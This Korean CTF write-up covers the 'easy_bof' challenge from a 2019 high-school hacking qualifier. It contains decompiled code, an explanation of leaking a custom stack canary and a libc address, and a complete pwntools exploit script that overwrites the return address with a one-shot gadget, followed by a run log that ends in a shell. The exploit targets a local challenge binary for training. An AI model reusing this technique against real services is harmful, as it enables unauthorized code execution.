Wargame & CTF/선린 고등해커 2회

[선린 고등해커 2회 예선] easy_bof

cg10036 2019. 11. 13. 07:02

선린 고등해커 2회 예선 easy_bof

Summary

  • 64bit

  • stack canary

Analysis

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
 char v4; // [rsp+0h] [rbp-110h]
 __int64 v5; // [rsp+108h] [rbp-8h]

 sub_C33(a1, a2, a3);
 sub_B00(&v5);
 puts("This is warming up! :)");
 puts("So ezpzezpz ~~~~~\n");
 do
   print();
 while ( sub_D67((__int64)&v4) );
 return 0LL;
}

sub_D67

int __fastcall sub_D67(__int64 a1)
{
 int result; // eax
 unsigned int v2; // [rsp+1Ch] [rbp-4h]

 v2 = read_num();
 if ( v2 > 2 )
   return puts("no no ... :(");
 if ( v2 )
{
   qword_2020D0[v2](a1, v2);
   result = -1;
}
 else
{
   puts("Bye~~");
   result = 0;
}
 return result;
}

커스텀 카나리이다. 일단 read로 카나리 전까지 문자를 채운다. 그리고 write를 하면 카나리를 얻을 수 있다.

read로 ret전까지 문자를 채우고 write를 하면 __libc_start_main+240의 값이 나온다.

현재 로컬에서의 libc에서는 __libc_start_main는 0x20740이다. 0x20740+240은 0x20830이다. __libc_start_main+240에서 0x20830을 빼면 libc_base가 나온다.

거기에 oneshot 가젯을 더해서 ret에 덮어주고 카나리를 전에 얻은 값으로 덮어씌운 후에 프로그램을 종료시키면 쉘이 뜰것이다.

Exploit

from pwn import *

e = ELF("./so_ezpz")
libc = ELF("./libc.so.6")
p = process("./so_ezpz")

oneshot = 0x45216

p.recvuntil("> \n")
p.sendline("1")
p.recvuntil("size?\n")
p.sendline("264")
p.send("A"*263+"B")

p.recvuntil("> \n")
p.sendline("2")
p.recvuntil("B")
canary = u64(p.recv(8))
print "canary : " + str(hex(canary))

p.recvuntil("> \n")
p.sendline("1")
p.recvuntil("size?\n")
p.sendline("280")
p.send("A"*279+"B")

p.recvuntil("> \n")
p.sendline("2")
p.recvuntil("B")
#leak = u64(p.recvuntil("\x7f")[-6:] + "\x00\x00")
leak = u64(p.recv(6) + "\x00\x00")
libc_base = leak - 0x20830
print hex(libc_base)

p.recvuntil("> \n")
p.sendline("1")
p.recvuntil("size?\n")
p.sendline("288")

payload = ""
payload += "A"*264
payload += p64(canary)
payload += "A"*8
payload += p64(libc_base + oneshot)

p.send(payload)

p.recvuntil("> \n")
p.sendline("0")

p.interactive()
cg10036@cg10036-virtual-machine:~/CTF/2019/highschoolhacker_/easy_bof$ p ex.py 
[*] '/home/cg10036/CTF/2019/highschoolhacker_/easy_bof/so_ezpz'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] '/home/cg10036/CTF/2019/highschoolhacker_/easy_bof/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './so_ezpz': pid 4957
canary : 0x7b2153bf954068ea
0x7fb927810000
[*] Switching to interactive mode
Bye~~
$ id
uid=1000(cg10036) gid=1000(cg10036) 그룹들=1000(cg10036),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)